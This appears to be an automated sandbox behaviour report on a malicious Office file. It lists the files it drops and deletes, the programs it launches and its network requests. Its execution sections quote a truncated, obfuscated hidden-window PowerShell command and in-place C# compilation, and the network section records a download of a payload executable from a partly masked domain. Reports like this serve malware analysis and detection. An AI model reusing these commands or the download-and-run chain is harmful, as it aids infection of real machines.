Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function t9dd1 {param($kd65a)$lcc3fb='f35ac3f';$p389863='';for ($i=0; $i -lt $kd65a.length;$i+=2){$cc655=[convert]::ToByte($kd65a.Substring($i,2),16);$p389863+=[char]($cc6...
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{51d7df3b-0fa6-42c2-95fd-7a31cba5dec5}.tmp
- %TEMP%\res31dc.tmp
- %TEMP%\hmuw2n-s.dll
- %TEMP%\res3268.tmp
- %TEMP%\csc3258.tmp
- %TEMP%\csc31cb.tmp
- %TEMP%\ybobne2w.dll
- %TEMP%\l80zcgmp.dll
- %TEMP%\res2096.tmp
- %TEMP%\res1f7c.tmp
- %TEMP%\noygv-4f.dll
- %TEMP%\res1ed1.tmp
- %TEMP%\csc2095.tmp
- %TEMP%\csc1f5c.tmp
- %TEMP%\csc1ec0.tmp
- %TEMP%\9dwzmxwx.out
- %TEMP%\hmuw2n-s.out
- %TEMP%\9dwzmxwx.cmdline
- %TEMP%\9dwzmxwx.0.cs
- %TEMP%\hmuw2n-s.cmdline
- %TEMP%\hmuw2n-s.0.cs
- %TEMP%\noygv-4f.out
- %TEMP%\noygv-4f.cmdline
- %TEMP%\noygv-4f.0.cs
- %TEMP%\l80zcgmp.out
- %TEMP%\l80zcgmp.cmdline
- %TEMP%\l80zcgmp.0.cs
- %TEMP%\ybobne2w.out
- %TEMP%\ybobne2w.cmdline
- %TEMP%\ybobne2w.0.cs
- %TEMP%\9dwzmxwx.dll
- %APPDATA%\he475.exe
Deletes the following files
- %TEMP%\res1ed1.tmp
- %TEMP%\noygv-4f.cmdline
- %TEMP%\noygv-4f.out
- %TEMP%\res3268.tmp
- %TEMP%\csc3258.tmp
- %TEMP%\hmuw2n-s.cmdline
- %TEMP%\hmuw2n-s.pdb
- %TEMP%\hmuw2n-s.0.cs
- %TEMP%\9dwzmxwx.out
- %TEMP%\hmuw2n-s.out
- %TEMP%\res31dc.tmp
- %TEMP%\csc31cb.tmp
- %TEMP%\9dwzmxwx.pdb
- %TEMP%\9dwzmxwx.0.cs
- %TEMP%\9dwzmxwx.dll
- %TEMP%\noygv-4f.pdb
- %TEMP%\hmuw2n-s.dll
- %TEMP%\noygv-4f.dll
- %TEMP%\ybobne2w.out
- %TEMP%\csc1ec0.tmp
- %TEMP%\res2096.tmp
- %TEMP%\csc2095.tmp
- %TEMP%\res1f7c.tmp
- %TEMP%\csc1f5c.tmp
- %TEMP%\ybobne2w.0.cs
- %TEMP%\ybobne2w.cmdline
- %TEMP%\l80zcgmp.out
- %TEMP%\ybobne2w.dll
- %TEMP%\ybobne2w.pdb
- %TEMP%\l80zcgmp.0.cs
- %TEMP%\l80zcgmp.dll
- %TEMP%\l80zcgmp.pdb
- %TEMP%\l80zcgmp.cmdline
- %TEMP%\noygv-4f.0.cs
- %TEMP%\9dwzmxwx.cmdline
Network activity
TCP
HTTP GET requests
- http://pl##tech.id/do/biguy.exe
- http://pl##tech.id/cgi-sys/suspendedpage.cgi
UDP
- DNS ASK pl##tech.id
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function t9dd1 {param($kd65a)$lcc3fb='f35ac3f';$p389863='';for ($i=0; $i -lt $kd65a.length;$i+=2){$cc655=[convert]::ToByte($kd65a.Substring($i,2),16);$p389863+=[char]($cc6...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ybobne2w.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l80zcgmp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\noygv-4f.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1ED1.tmp" "%TEMP%\CSC1EC0.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1F7C.tmp" "%TEMP%\CSC1F5C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2096.tmp" "%TEMP%\CSC2095.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9dwzmxwx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hmuw2n-s.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3268.tmp" "%TEMP%\CSC3258.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES31DC.tmp" "%TEMP%\CSC31CB.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ybobne2w.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l80zcgmp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\noygv-4f.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1ED1.tmp" "%TEMP%\CSC1EC0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1F7C.tmp" "%TEMP%\CSC1F5C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2096.tmp" "%TEMP%\CSC2095.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9dwzmxwx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hmuw2n-s.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3268.tmp" "%TEMP%\CSC3258.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES31DC.tmp" "%TEMP%\CSC31CB.tmp"
